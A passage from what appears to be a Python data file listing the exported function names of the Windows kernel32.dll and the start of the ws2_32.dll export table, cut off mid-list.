'GetConsoleAliasesLengthW',\n 'GetConsoleAliasesW',\n 'GetConsoleCP',\n 'GetConsoleCharType',\n 'GetConsoleCommandHistoryA',\n 'GetConsoleCommandHistoryLengthA',\n 'GetConsoleCommandHistoryLengthW',\n 'GetConsoleCommandHistoryW',\n 'GetConsoleCursorInfo',\n 'GetConsoleCursorMode',\n 'GetConsoleDisplayMode',\n 'GetConsoleFontInfo',\n 'GetConsoleFontSize',\n 'GetConsoleHardwareState',\n 'GetConsoleHistoryInfo',\n 'GetConsoleInputExeNameA',\n 'GetConsoleInputExeNameW',\n 'GetConsoleInputWaitHandle',\n 'GetConsoleKeyboardLayoutNameA',\n 'GetConsoleKeyboardLayoutNameW',\n 'GetConsoleMode',\n 'GetConsoleNlsMode',\n 'GetConsoleOriginalTitleA',\n 'GetConsoleOriginalTitleW',\n 'GetConsoleOutputCP',\n 'GetConsoleProcessList',\n 'GetConsoleScreenBufferInfo',\n 'GetConsoleScreenBufferInfoEx',\n 'GetConsoleSelectionInfo',\n 'GetConsoleTitleA',\n 'GetConsoleTitleW',\n 'GetConsoleWindow',\n 'GetCurrencyFormatA',\n 'GetCurrencyFormatEx',\n 'GetCurrencyFormatW',\n 'GetCurrentActCtx',\n 'GetCurrentConsoleFont',\n 'GetCurrentConsoleFontEx',\n 'GetCurrentDirectoryA',\n 'GetCurrentDirectoryW',\n 'GetCurrentProcess',\n 'GetCurrentProcessId',\n 'GetCurrentProcessorNumber',\n 'GetCurrentProcessorNumberEx',\n 'GetCurrentThread',\n 'GetCurrentThreadId',\n 'GetDateFormatA',\n 'GetDateFormatEx',\n 'GetDateFormatW',\n 'GetDefaultCommConfigA',\n 'GetDefaultCommConfigW',\n 'GetDevicePowerState',\n 'GetDiskFreeSpaceA',\n 'GetDiskFreeSpaceExA',\n 'GetDiskFreeSpaceExW',\n 'GetDiskFreeSpaceW',\n 'GetDllDirectoryA',\n 'GetDllDirectoryW',\n 'GetDriveTypeA',\n 'GetDriveTypeW',\n 'GetDurationFormat',\n 'GetDurationFormatEx',\n 'GetDynamicTimeZoneInformation',\n 'GetEnabledXStateFeatures',\n 'GetEnvironmentStrings',\n 'GetEnvironmentStringsA',\n 'GetEnvironmentStringsW',\n 'GetEnvironmentVariableA',\n 'GetEnvironmentVariableW',\n 'GetEraNameCountedString',\n 'GetErrorMode',\n 'GetExitCodeProcess',\n 'GetExitCodeThread',\n 'GetExpandedNameA',\n 'GetExpandedNameW',\n 'GetFileAttributesA',\n 'GetFileAttributesExA',\n 'GetFileAttributesExW',\n 'GetFileAttributesTransactedA',\n 'GetFileAttributesTransactedW',\n 'GetFileAttributesW',\n 'GetFileBandwidthReservation',\n 'GetFileInformationByHandle',\n 'GetFileInformationByHandleEx',\n 'GetFileMUIInfo',\n 'GetFileMUIPath',\n 'GetFileSize',\n 'GetFileSizeEx',\n 'GetFileTime',\n 'GetFileType',\n 'GetFinalPathNameByHandleA',\n 'GetFinalPathNameByHandleW',\n 'GetFirmwareEnvironmentVariableA',\n 'GetFirmwareEnvironmentVariableW',\n 'GetFullPathNameA',\n 'GetFullPathNameTransactedA',\n 'GetFullPathNameTransactedW',\n 'GetFullPathNameW',\n 'GetGeoInfoA',\n 'GetGeoInfoW',\n 'GetHandleContext',\n 'GetHandleInformation',\n 'GetLargePageMinimum',\n 'GetLargestConsoleWindowSize',\n 'GetLastError',\n 'GetLocalTime',\n 'GetLocaleInfoA',\n 'GetLocaleInfoEx',\n 'GetLocaleInfoW',\n 'GetLogicalDriveStringsA',\n 'GetLogicalDriveStringsW',\n 'GetLogicalDrives',\n 'GetLogicalProcessorInformation',\n 'GetLogicalProcessorInformationEx',\n 'GetLongPathNameA',\n 'GetLongPathNameTransactedA',\n 'GetLongPathNameTransactedW',\n 'GetLongPathNameW',\n 'GetMailslotInfo',\n 'GetMaximumProcessorCount',\n 'GetMaximumProcessorGroupCount',\n 'GetModuleFileNameA',\n 'GetModuleFileNameW',\n 'GetModuleHandleA',\n 'GetModuleHandleExA',\n 'GetModuleHandleExW',\n 'GetModuleHandleW',\n 'GetNLSVersion',\n 'GetNLSVersionEx',\n 'GetNamedPipeAttribute',\n 'GetNamedPipeClientComputerNameA',\n 'GetNamedPipeClientComputerNameW',\n 'GetNamedPipeClientProcessId',\n 'GetNamedPipeClientSessionId',\n 'GetNamedPipeHandleStateA',\n 'GetNamedPipeHandleStateW',\n 'GetNamedPipeInfo',\n 'GetNamedPipeServerProcessId',\n 'GetNamedPipeServerSessionId',\n 'GetNativeSystemInfo',\n 'GetNextVDMCommand',\n 'GetNumaAvailableMemoryNode',\n 'GetNumaAvailableMemoryNodeEx',\n 'GetNumaHighestNodeNumber',\n 'GetNumaNodeNumberFromHandle',\n 'GetNumaNodeProcessorMask',\n 'GetNumaNodeProcessorMaskEx',\n 'GetNumaProcessorNode',\n 'GetNumaProcessorNodeEx',\n 'GetNumaProximityNode',\n 'GetNumaProximityNodeEx',\n 'GetNumberFormatA',\n 'GetNumberFormatEx',\n 'GetNumberFormatW',\n 'GetNumberOfConsoleFonts',\n 'GetNumberOfConsoleInputEvents',\n 'GetNumberOfConsoleMouseButtons',\n 'GetOEMCP',\n 'GetOverlappedResult',\n 'GetPhysicallyInstalledSystemMemory',\n 'GetPriorityClass',\n 'GetPrivateProfileIntA',\n 'GetPrivateProfileIntW',\n 'GetPrivateProfileSectionA',\n 'GetPrivateProfileSectionNamesA',\n 'GetPrivateProfileSectionNamesW',\n 'GetPrivateProfileSectionW',\n 'GetPrivateProfileStringA',\n 'GetPrivateProfileStringW',\n 'GetPrivateProfileStructA',\n 'GetPrivateProfileStructW',\n 'GetProcAddress',\n 'GetProcessAffinityMask',\n 'GetProcessDEPPolicy',\n 'GetProcessGroupAffinity',\n 'GetProcessHandleCount',\n 'GetProcessHeap',\n 'GetProcessHeaps',\n 'GetProcessId',\n 'GetProcessIdOfThread',\n 'GetProcessIoCounters',\n 'GetProcessPreferredUILanguages',\n 'GetProcessPriorityBoost',\n 'GetProcessShutdownParameters',\n 'GetProcessTimes',\n 'GetProcessUserModeExceptionPolicy',\n 'GetProcessVersion',\n 'GetProcessWorkingSetSize',\n 'GetProcessWorkingSetSizeEx',\n 'GetProcessorSystemCycleTime',\n 'GetProductInfo',\n 'GetProfileIntA',\n 'GetProfileIntW',\n 'GetProfileSectionA',\n 'GetProfileSectionW',\n 'GetProfileStringA',\n 'GetProfileStringW',\n 'GetQueuedCompletionStatus',\n 'GetQueuedCompletionStatusEx',\n 'GetShortPathNameA',\n 'GetShortPathNameW',\n 'GetStartupInfoA',\n 'GetStartupInfoW',\n 'GetStdHandle',\n 'GetStringScripts',\n 'GetStringTypeA',\n 'GetStringTypeExA',\n 'GetStringTypeExW',\n 'GetStringTypeW',\n 'GetSystemDEPPolicy',\n 'GetSystemDefaultLCID',\n 'GetSystemDefaultLangID',\n 'GetSystemDefaultLocaleName',\n 'GetSystemDefaultUILanguage',\n 'GetSystemDirectoryA',\n 'GetSystemDirectoryW',\n 'GetSystemFileCacheSize',\n 'GetSystemFirmwareTable',\n 'GetSystemInfo',\n 'GetSystemPowerStatus',\n 'GetSystemPreferredUILanguages',\n 'GetSystemRegistryQuota',\n 'GetSystemTime',\n 'GetSystemTimeAdjustment',\n 'GetSystemTimeAsFileTime',\n 'GetSystemTimes',\n 'GetSystemWindowsDirectoryA',\n 'GetSystemWindowsDirectoryW',\n 'GetSystemWow64DirectoryA',\n 'GetSystemWow64DirectoryW',\n 'GetTapeParameters',\n 'GetTapePosition',\n 'GetTapeStatus',\n 'GetTempFileNameA',\n 'GetTempFileNameW',\n 'GetTempPathA',\n 'GetTempPathW',\n 'GetThreadContext',\n 'GetThreadErrorMode',\n 'GetThreadGroupAffinity',\n 'GetThreadIOPendingFlag',\n 'GetThreadId',\n 'GetThreadIdealProcessorEx',\n 'GetThreadLocale',\n 'GetThreadPreferredUILanguages',\n 'GetThreadPriority',\n 'GetThreadPriorityBoost',\n 'GetThreadSelectorEntry',\n 'GetThreadTimes',\n 'GetThreadUILanguage',\n 'GetTickCount',\n 'GetTickCount64',\n 'GetTimeFormatA',\n 'GetTimeFormatEx',\n 'GetTimeFormatW',\n 'GetTimeZoneInformation',\n 'GetTimeZoneInformationForYear',\n 'GetUILanguageInfo',\n 'GetUserDefaultLCID',\n 'GetUserDefaultLangID',\n 'GetUserDefaultLocaleName',\n 'GetUserDefaultUILanguage',\n 'GetUserGeoID',\n 'GetUserPreferredUILanguages',\n 'GetVDMCurrentDirectories',\n 'GetVersion',\n 'GetVersionExA',\n 'GetVersionExW',\n 'GetVolumeInformationA',\n 'GetVolumeInformationByHandleW',\n 'GetVolumeInformationW',\n 'GetVolumeNameForVolumeMountPointA',\n 'GetVolumeNameForVolumeMountPointW',\n 'GetVolumePathNameA',\n 'GetVolumePathNameW',\n 'GetVolumePathNamesForVolumeNameA',\n 'GetVolumePathNamesForVolumeNameW',\n 'GetWindowsDirectoryA',\n 'GetWindowsDirectoryW',\n 'GetWriteWatch',\n 'GetXStateFeaturesMask',\n 'GlobalAddAtomA',\n 'GlobalAddAtomW',\n 'GlobalAlloc',\n 'GlobalCompact',\n 'GlobalDeleteAtom',\n 'GlobalFindAtomA',\n 'GlobalFindAtomW',\n 'GlobalFix',\n 'GlobalFlags',\n 'GlobalFree',\n 'GlobalGetAtomNameA',\n 'GlobalGetAtomNameW',\n 'GlobalHandle',\n 'GlobalLock',\n 'GlobalMemoryStatus',\n 'GlobalMemoryStatusEx',\n 'GlobalReAlloc',\n 'GlobalSize',\n 'GlobalUnWire',\n 'GlobalUnfix',\n 'GlobalUnlock',\n 'GlobalWire',\n 'Heap32First',\n 'Heap32ListFirst',\n 'Heap32ListNext',\n 'Heap32Next',\n 'HeapAlloc',\n 'HeapCompact',\n 'HeapCreate',\n 'HeapDestroy',\n 'HeapFree',\n 'HeapLock',\n 'HeapQueryInformation',\n 'HeapReAlloc',\n 'HeapSetInformation',\n 'HeapSize',\n 'HeapSummary',\n 'HeapUnlock',\n 'HeapValidate',\n 'HeapWalk',\n 'IdnToAscii',\n 'IdnToNameprepUnicode',\n 'IdnToUnicode',\n 'InitAtomTable',\n 'InitOnceBeginInitialize',\n 'InitOnceComplete',\n 'InitOnceExecuteOnce',\n 'InitOnceInitialize',\n 'InitializeConditionVariable',\n 'InitializeContext',\n 'InitializeCriticalSection',\n 'InitializeCriticalSectionAndSpinCount',\n 'InitializeCriticalSectionEx',\n 'InitializeProcThreadAttributeList',\n 'InitializeSListHead',\n 'InitializeSRWLock',\n 'InterlockedCompareExchange',\n 'InterlockedCompareExchange64',\n 'InterlockedDecrement',\n 'InterlockedExchange',\n 'InterlockedExchangeAdd',\n 'InterlockedFlushSList',\n 'InterlockedIncrement',\n 'InterlockedPopEntrySList',\n 'InterlockedPushEntrySList',\n 'InterlockedPushListSList',\n 'InvalidateConsoleDIBits',\n 'IsBadCodePtr',\n 'IsBadHugeReadPtr',\n 'IsBadHugeWritePtr',\n 'IsBadReadPtr',\n 'IsBadStringPtrA',\n 'IsBadStringPtrW',\n 'IsBadWritePtr',\n 'IsCalendarLeapDay',\n 'IsCalendarLeapMonth',\n 'IsCalendarLeapYear',\n 'IsDBCSLeadByte',\n 'IsDBCSLeadByteEx',\n 'IsDebuggerPresent',\n 'IsNLSDefinedString',\n 'IsNormalizedString',\n 'IsProcessInJob',\n 'IsProcessorFeaturePresent',\n 'IsSystemResumeAutomatic',\n 'IsThreadAFiber',\n 'IsThreadpoolTimerSet',\n 'IsTimeZoneRedirectionEnabled',\n 'IsValidCalDateTime',\n 'IsValidCodePage',\n 'IsValidLanguageGroup',\n 'IsValidLocale',\n 'IsValidLocaleName',\n 'IsWow64Process',\n 'K32EmptyWorkingSet',\n 'K32EnumDeviceDrivers',\n 'K32EnumPageFilesA',\n 'K32EnumPageFilesW',\n 'K32EnumProcessModules',\n 'K32EnumProcessModulesEx',\n 'K32EnumProcesses',\n 'K32GetDeviceDriverBaseNameA',\n 'K32GetDeviceDriverBaseNameW',\n 'K32GetDeviceDriverFileNameA',\n 'K32GetDeviceDriverFileNameW',\n 'K32GetMappedFileNameA',\n 'K32GetMappedFileNameW',\n 'K32GetModuleBaseNameA',\n 'K32GetModuleBaseNameW',\n 'K32GetModuleFileNameExA',\n 'K32GetModuleFileNameExW',\n 'K32GetModuleInformation',\n 'K32GetPerformanceInfo',\n 'K32GetProcessImageFileNameA',\n 'K32GetProcessImageFileNameW',\n 'K32GetProcessMemoryInfo',\n 'K32GetWsChanges',\n 'K32GetWsChangesEx',\n 'K32InitializeProcessForWsWatch',\n 'K32QueryWorkingSet',\n 'K32QueryWorkingSetEx',\n 'LCIDToLocaleName',\n 'LCMapStringA',\n 'LCMapStringEx',\n 'LCMapStringW',\n 'LZClose',\n 'LZCloseFile',\n 'LZCopy',\n 'LZCreateFileW',\n 'LZDone',\n 'LZInit',\n 'LZOpenFileA',\n 'LZOpenFileW',\n 'LZRead',\n 'LZSeek',\n 'LZStart',\n 'LeaveCriticalSection',\n 'LeaveCriticalSectionWhenCallbackReturns',\n 'LoadAppInitDlls',\n 'LoadLibraryA',\n 'LoadLibraryExA',\n 'LoadLibraryExW',\n 'LoadLibraryW',\n 'LoadModule',\n 'LoadResource',\n 'LoadStringBaseExW',\n 'LoadStringBaseW',\n 'LocalAlloc',\n 'LocalCompact',\n 'LocalFileTimeToFileTime',\n 'LocalFlags',\n 'LocalFree',\n 'LocalHandle',\n 'LocalLock',\n 'LocalReAlloc',\n 'LocalShrink',\n 'LocalSize',\n 'LocalUnlock',\n 'LocaleNameToLCID',\n 'LocateXStateFeature',\n 'LockFile',\n 'LockFileEx',\n 'LockResource',\n 'MapUserPhysicalPages',\n 'MapUserPhysicalPagesScatter',\n 'MapViewOfFile',\n 'MapViewOfFileEx',\n 'MapViewOfFileExNuma',\n 'Module32First',\n 'Module32FirstW',\n 'Module32Next',\n 'Module32NextW',\n 'MoveFileA',\n 'MoveFileExA',\n 'MoveFileExW',\n 'MoveFileTransactedA',\n 'MoveFileTransactedW',\n 'MoveFileW',\n 'MoveFileWithProgressA',\n 'MoveFileWithProgressW',\n 'MulDiv',\n 'MultiByteToWideChar',\n 'NeedCurrentDirectoryForExePathA',\n 'NeedCurrentDirectoryForExePathW',\n 'NlsCheckPolicy',\n 'NlsEventDataDescCreate',\n 'NlsGetCacheUpdateCount',\n 'NlsUpdateLocale',\n 'NlsUpdateSystemLocale',\n 'NlsWriteEtwEvent',\n 'NormalizeString',\n 'NotifyMountMgr',\n 'NotifyUILanguageChange',\n 'OpenConsoleW',\n 'OpenEventA',\n 'OpenEventW',\n 'OpenFile',\n 'OpenFileById',\n 'OpenFileMappingA',\n 'OpenFileMappingW',\n 'OpenJobObjectA',\n 'OpenJobObjectW',\n 'OpenMutexA',\n 'OpenMutexW',\n 'OpenPrivateNamespaceA',\n 'OpenPrivateNamespaceW',\n 'OpenProcess',\n 'OpenProcessToken',\n 'OpenProfileUserMapping',\n 'OpenSemaphoreA',\n 'OpenSemaphoreW',\n 'OpenThread',\n 'OpenThreadToken',\n 'OpenWaitableTimerA',\n 'OpenWaitableTimerW',\n 'OutputDebugStringA',\n 'OutputDebugStringW',\n 'PeekConsoleInputA',\n 'PeekConsoleInputW',\n 'PeekNamedPipe',\n 'PostQueuedCompletionStatus',\n 'PowerClearRequest',\n 'PowerCreateRequest',\n 'PowerSetRequest',\n 'PrepareTape',\n 'PrivCopyFileExW',\n 'PrivMoveFileIdentityW',\n 'Process32First',\n 'Process32FirstW',\n 'Process32Next',\n 'Process32NextW',\n 'ProcessIdToSessionId',\n 'PulseEvent',\n 'PurgeComm',\n 'QueryActCtxSettingsW',\n 'QueryActCtxW',\n 'QueryDepthSList',\n 'QueryDosDeviceA',\n 'QueryDosDeviceW',\n 'QueryFullProcessImageNameA',\n 'QueryFullProcessImageNameW',\n 'QueryIdleProcessorCycleTime',\n 'QueryIdleProcessorCycleTimeEx',\n 'QueryInformationJobObject',\n 'QueryMemoryResourceNotification',\n 'QueryPerformanceCounter',\n 'QueryPerformanceFrequency',\n 'QueryProcessAffinityUpdateMode',\n 'QueryProcessCycleTime',\n 'QueryThreadCycleTime',\n 'QueryThreadProfiling',\n 'QueryThreadpoolStackInformation',\n 'QueryUnbiasedInterruptTime',\n 'QueueUserAPC',\n 'QueueUserWorkItem',\n 'RaiseException',\n 'RaiseFailFastException',\n 'ReOpenFile',\n 'ReadConsoleA',\n 'ReadConsoleInputA',\n 'ReadConsoleInputExA',\n 'ReadConsoleInputExW',\n 'ReadConsoleInputW',\n 'ReadConsoleOutputA',\n 'ReadConsoleOutputAttribute',\n 'ReadConsoleOutputCharacterA',\n 'ReadConsoleOutputCharacterW',\n 'ReadConsoleOutputW',\n 'ReadConsoleW',\n 'ReadDirectoryChangesW',\n 'ReadFile',\n 'ReadFileEx',\n 'ReadFileScatter',\n 'ReadProcessMemory',\n 'ReadThreadProfilingData',\n 'RegCloseKey',\n 'RegCreateKeyExA',\n 'RegCreateKeyExW',\n 'RegDeleteKeyExA',\n 'RegDeleteKeyExW',\n 'RegDeleteTreeA',\n 'RegDeleteTreeW',\n 'RegDeleteValueA',\n 'RegDeleteValueW',\n 'RegDisablePredefinedCacheEx',\n 'RegEnumKeyExA',\n 'RegEnumKeyExW',\n 'RegEnumValueA',\n 'RegEnumValueW',\n 'RegFlushKey',\n 'RegGetKeySecurity',\n 'RegGetValueA',\n 'RegGetValueW',\n 'RegKrnGetGlobalState',\n 'RegKrnInitialize',\n 'RegLoadKeyA',\n 'RegLoadKeyW',\n 'RegLoadMUIStringA',\n 'RegLoadMUIStringW',\n 'RegNotifyChangeKeyValue',\n 'RegOpenCurrentUser',\n 'RegOpenKeyExA',\n 'RegOpenKeyExW',\n 'RegOpenUserClassesRoot',\n 'RegQueryInfoKeyA',\n 'RegQueryInfoKeyW',\n 'RegQueryValueExA',\n 'RegQueryValueExW',\n 'RegRestoreKeyA',\n 'RegRestoreKeyW',\n 'RegSaveKeyExA',\n 'RegSaveKeyExW',\n 'RegSetKeySecurity',\n 'RegSetValueExA',\n 'RegSetValueExW',\n 'RegUnLoadKeyA',\n 'RegUnLoadKeyW',\n 'RegisterApplicationRecoveryCallback',\n 'RegisterApplicationRestart',\n 'RegisterConsoleIME',\n 'RegisterConsoleOS2',\n 'RegisterConsoleVDM',\n 'RegisterWaitForInputIdle',\n 'RegisterWaitForSingleObject',\n 'RegisterWaitForSingleObjectEx',\n 'RegisterWowBaseHandlers',\n 'RegisterWowExec',\n 'ReleaseActCtx',\n 'ReleaseMutex',\n 'ReleaseMutexWhenCallbackReturns',\n 'ReleaseSRWLockExclusive',\n 'ReleaseSRWLockShared',\n 'ReleaseSemaphore',\n 'ReleaseSemaphoreWhenCallbackReturns',\n 'RemoveDirectoryA',\n 'RemoveDirectoryTransactedA',\n 'RemoveDirectoryTransactedW',\n 'RemoveDirectoryW',\n 'RemoveDllDirectory',\n 'RemoveLocalAlternateComputerNameA',\n 'RemoveLocalAlternateComputerNameW',\n 'RemoveSecureMemoryCacheCallback',\n 'RemoveVectoredContinueHandler',\n 'RemoveVectoredExceptionHandler',\n 'ReplaceFile',\n 'ReplaceFileA',\n 'ReplaceFileW',\n 'ReplacePartitionUnit',\n 'RequestDeviceWakeup',\n 'RequestWakeupLatency',\n 'ResetEvent',\n 'ResetWriteWatch',\n 'ResolveLocaleName',\n 'RestoreLastError',\n 'ResumeThread',\n 'RtlCaptureContext',\n 'RtlCaptureStackBackTrace',\n 'RtlFillMemory',\n 'RtlMoveMemory',\n 'RtlUnwind',\n 'RtlZeroMemory',\n 'ScrollConsoleScreenBufferA',\n 'ScrollConsoleScreenBufferW',\n 'SearchPathA',\n 'SearchPathW',\n 'SetCalendarInfoA',\n 'SetCalendarInfoW',\n 'SetClientTimeZoneInformation',\n 'SetComPlusPackageInstallStatus',\n 'SetCommBreak',\n 'SetCommConfig',\n 'SetCommMask',\n 'SetCommState',\n 'SetCommTimeouts',\n 'SetComputerNameA',\n 'SetComputerNameExA',\n 'SetComputerNameExW',\n 'SetComputerNameW',\n 'SetConsoleActiveScreenBuffer',\n 'SetConsoleCP',\n 'SetConsoleCtrlHandler',\n 'SetConsoleCursor',\n 'SetConsoleCursorInfo',\n 'SetConsoleCursorMode',\n 'SetConsoleCursorPosition',\n 'SetConsoleDisplayMode',\n 'SetConsoleFont',\n 'SetConsoleHardwareState',\n 'SetConsoleHistoryInfo',\n 'SetConsoleIcon',\n 'SetConsoleInputExeNameA',\n 'SetConsoleInputExeNameW',\n 'SetConsoleKeyShortcuts',\n 'SetConsoleLocalEUDC',\n 'SetConsoleMaximumWindowSize',\n 'SetConsoleMenuClose',\n 'SetConsoleMode',\n 'SetConsoleNlsMode',\n 'SetConsoleNumberOfCommandsA',\n 'SetConsoleNumberOfCommandsW',\n 'SetConsoleOS2OemFormat',\n 'SetConsoleOutputCP',\n 'SetConsolePalette',\n 'SetConsoleScreenBufferInfoEx',\n 'SetConsoleScreenBufferSize',\n 'SetConsoleTextAttribute',\n 'SetConsoleTitleA',\n 'SetConsoleTitleW',\n 'SetConsoleWindowInfo',\n 'SetCriticalSectionSpinCount',\n 'SetCurrentConsoleFontEx',\n 'SetCurrentDirectoryA',\n 'SetCurrentDirectoryW',\n 'SetDefaultCommConfigA',\n 'SetDefaultCommConfigW',\n 'SetDefaultDllDirectories',\n 'SetDllDirectoryA',\n 'SetDllDirectoryW',\n 'SetDynamicTimeZoneInformation',\n 'SetEndOfFile',\n 'SetEnvironmentStringsA',\n 'SetEnvironmentStringsW',\n 'SetEnvironmentVariableA',\n 'SetEnvironmentVariableW',\n 'SetErrorMode',\n 'SetEvent',\n 'SetEventWhenCallbackReturns',\n 'SetFileApisToANSI',\n 'SetFileApisToOEM',\n 'SetFileAttributesA',\n 'SetFileAttributesTransactedA',\n 'SetFileAttributesTransactedW',\n 'SetFileAttributesW',\n 'SetFileBandwidthReservation',\n 'SetFileCompletionNotificationModes',\n 'SetFileInformationByHandle',\n 'SetFileIoOverlappedRange',\n 'SetFilePointer',\n 'SetFilePointerEx',\n 'SetFileShortNameA',\n 'SetFileShortNameW',\n 'SetFileTime',\n 'SetFileValidData',\n 'SetFirmwareEnvironmentVariableA',\n 'SetFirmwareEnvironmentVariableW',\n 'SetHandleContext',\n 'SetHandleCount',\n 'SetHandleInformation',\n 'SetInformationJobObject',\n 'SetLastConsoleEventActive',\n 'SetLastError',\n 'SetLocalPrimaryComputerNameA',\n 'SetLocalPrimaryComputerNameW',\n 'SetLocalTime',\n 'SetLocaleInfoA',\n 'SetLocaleInfoW',\n 'SetMailslotInfo',\n 'SetMessageWaitingIndicator',\n 'SetNamedPipeAttribute',\n 'SetNamedPipeHandleState',\n 'SetPriorityClass',\n 'SetProcessAffinityMask',\n 'SetProcessAffinityUpdateMode',\n 'SetProcessDEPPolicy',\n 'SetProcessPreferredUILanguages',\n 'SetProcessPriorityBoost',\n 'SetProcessShutdownParameters',\n 'SetProcessUserModeExceptionPolicy',\n 'SetProcessWorkingSetSize',\n 'SetProcessWorkingSetSizeEx',\n 'SetSearchPathMode',\n 'SetStdHandle',\n 'SetStdHandleEx',\n 'SetSystemFileCacheSize',\n 'SetSystemPowerState',\n 'SetSystemTime',\n 'SetSystemTimeAdjustment',\n 'SetTapeParameters',\n 'SetTapePosition',\n 'SetTermsrvAppInstallMode',\n 'SetThreadAffinityMask',\n 'SetThreadContext',\n 'SetThreadErrorMode',\n 'SetThreadExecutionState',\n 'SetThreadGroupAffinity',\n 'SetThreadIdealProcessor',\n 'SetThreadIdealProcessorEx',\n 'SetThreadLocale',\n 'SetThreadPreferredUILanguages',\n 'SetThreadPriority',\n 'SetThreadPriorityBoost',\n 'SetThreadStackGuarantee',\n 'SetThreadToken',\n 'SetThreadUILanguage',\n 'SetThreadpoolStackInformation',\n 'SetThreadpoolThreadMaximum',\n 'SetThreadpoolThreadMinimum',\n 'SetThreadpoolTimer',\n 'SetThreadpoolWait',\n 'SetTimeZoneInformation',\n 'SetTimerQueueTimer',\n 'SetUnhandledExceptionFilter',\n 'SetUserGeoID',\n 'SetVDMCurrentDirectories',\n 'SetVolumeLabelA',\n 'SetVolumeLabelW',\n 'SetVolumeMountPointA',\n 'SetVolumeMountPointW',\n 'SetWaitableTimer',\n 'SetWaitableTimerEx',\n 'SetXStateFeaturesMask',\n 'SetupComm',\n 'ShowConsoleCursor',\n 'SignalObjectAndWait',\n 'SizeofResource',\n 'Sleep',\n 'SleepConditionVariableCS',\n 'SleepConditionVariableSRW',\n 'SleepEx',\n 'SortCloseHandle',\n 'SortGetHandle',\n 'StartThreadpoolIo',\n 'SubmitThreadpoolWork',\n 'SuspendThread',\n 'SwitchToFiber',\n 'SwitchToThread',\n 'SystemTimeToFileTime',\n 'SystemTimeToTzSpecificLocalTime',\n 'SystemTimeToTzSpecificLocalTimeEx',\n 'TerminateJobObject',\n 'TerminateProcess',\n 'TerminateThread',\n 'TermsrvAppInstallMode',\n 'Thread32First',\n 'Thread32Next',\n 'TlsAlloc',\n 'TlsFree',\n 'TlsGetValue',\n 'TlsSetValue',\n 'Toolhelp32ReadProcessMemory',\n 'TransactNamedPipe',\n 'TransmitCommChar',\n 'TryAcquireSRWLockExclusive',\n 'TryAcquireSRWLockShared',\n 'TryEnterCriticalSection',\n 'TrySubmitThreadpoolCallback',\n 'TzSpecificLocalTimeToSystemTime',\n 'TzSpecificLocalTimeToSystemTimeEx',\n 'UTRegister',\n 'UTUnRegister',\n 'UnhandledExceptionFilter',\n 'UnlockFile',\n 'UnlockFileEx',\n 'UnmapViewOfFile',\n 'UnregisterApplicationRecoveryCallback',\n 'UnregisterApplicationRestart',\n 'UnregisterConsoleIME',\n 'UnregisterWait',\n 'UnregisterWaitEx',\n 'UpdateCalendarDayOfWeek',\n 'UpdateProcThreadAttribute',\n 'UpdateResourceA',\n 'UpdateResourceW',\n 'VDMConsoleOperation',\n 'VDMOperationStarted',\n 'VerLanguageNameA',\n 'VerLanguageNameW',\n 'VerSetConditionMask',\n 'VerifyConsoleIoHandle',\n 'VerifyScripts',\n 'VerifyVersionInfoA',\n 'VerifyVersionInfoW',\n 'VirtualAlloc',\n 'VirtualAllocEx',\n 'VirtualAllocExNuma',\n 'VirtualFree',\n 'VirtualFreeEx',\n 'VirtualLock',\n 'VirtualProtect',\n 'VirtualProtectEx',\n 'VirtualQuery',\n 'VirtualQueryEx',\n 'VirtualUnlock',\n 'WTSGetActiveConsoleSessionId',\n 'WaitCommEvent',\n 'WaitForDebugEvent',\n 'WaitForMultipleObjects',\n 'WaitForMultipleObjectsEx',\n 'WaitForSingleObject',\n 'WaitForSingleObjectEx',\n 'WaitForThreadpoolIoCallbacks',\n 'WaitForThreadpoolTimerCallbacks',\n 'WaitForThreadpoolWaitCallbacks',\n 'WaitForThreadpoolWorkCallbacks',\n 'WaitNamedPipeA',\n 'WaitNamedPipeW',\n 'WakeAllConditionVariable',\n 'WakeConditionVariable',\n 'WerGetFlags',\n 'WerRegisterFile',\n 'WerRegisterMemoryBlock',\n 'WerRegisterRuntimeExceptionModule',\n 'WerSetFlags',\n 'WerUnregisterFile',\n 'WerUnregisterMemoryBlock',\n 'WerUnregisterRuntimeExceptionModule',\n 'WerpCleanupMessageMapping',\n 'WerpInitiateRemoteRecovery',\n 'WerpNotifyLoadStringResource',\n 'WerpNotifyLoadStringResourceEx',\n 'WerpNotifyUseStringResource',\n 'WerpStringLookup',\n 'WideCharToMultiByte',\n 'WinExec',\n 'Wow64DisableWow64FsRedirection',\n 'Wow64EnableWow64FsRedirection',\n 'Wow64GetThreadContext',\n 'Wow64GetThreadSelectorEntry',\n 'Wow64RevertWow64FsRedirection',\n 'Wow64SetThreadContext',\n 'Wow64SuspendThread',\n 'WriteConsoleA',\n 'WriteConsoleInputA',\n 'WriteConsoleInputVDMA',\n 'WriteConsoleInputVDMW',\n 'WriteConsoleInputW',\n 'WriteConsoleOutputA',\n 'WriteConsoleOutputAttribute',\n 'WriteConsoleOutputCharacterA',\n 'WriteConsoleOutputCharacterW',\n 'WriteConsoleOutputW',\n 'WriteConsoleW',\n 'WriteFile',\n 'WriteFileEx',\n 'WriteFileGather',\n 'WritePrivateProfileSectionA',\n 'WritePrivateProfileSectionW',\n 'WritePrivateProfileStringA',\n 'WritePrivateProfileStringW',\n 'WritePrivateProfileStructA',\n 'WritePrivateProfileStructW',\n 'WriteProcessMemory',\n 'WriteProfileSectionA',\n 'WriteProfileSectionW',\n 'WriteProfileStringA',\n 'WriteProfileStringW',\n 'WriteTapemark',\n 'ZombifyActCtx',\n '_hread',\n '_hwrite',\n '_lclose',\n '_lcreat',\n '_llseek',\n '_lopen',\n '_lread',\n '_lwrite',\n 'lstrcat',\n 'lstrcatA',\n 'lstrcatW',\n 'lstrcmp',\n 'lstrcmpA',\n 'lstrcmpW',\n 'lstrcmpi',\n 'lstrcmpiA',\n 'lstrcmpiW',\n 'lstrcpy',\n 'lstrcpyA',\n 'lstrcpyW',\n 'lstrcpyn',\n 'lstrcpynA',\n 'lstrcpynW',\n 'lstrlen',\n 'lstrlenA',\n 'lstrlenW',\n ],\n 'ws2_32.dll': ['FreeAddrInfoEx',\n 'FreeAddrInfoExW',\n 'FreeAddrInfoW',\n 'GetAddrInfoExA',\n 'GetAddrInfoExW',\n 'GetAddrInfoW',\n 'GetNameInfoW',\n 'InetNtopW',\n 'InetPtonW',\n 'SetAddrInfoExA',\n 'SetAddrInfoExW',\n 'WEP',\n 'WPUCompleteOverlappedRequest',\n 'WSAAccept',\n 'WSAAddressToStringA',\n 'WSAAddressToStringW',\n 'WSAAdvertiseProvider',\n 'WSAAsyncGetHostByAddr',\n 'WSAAsyncGetHostByName',\n 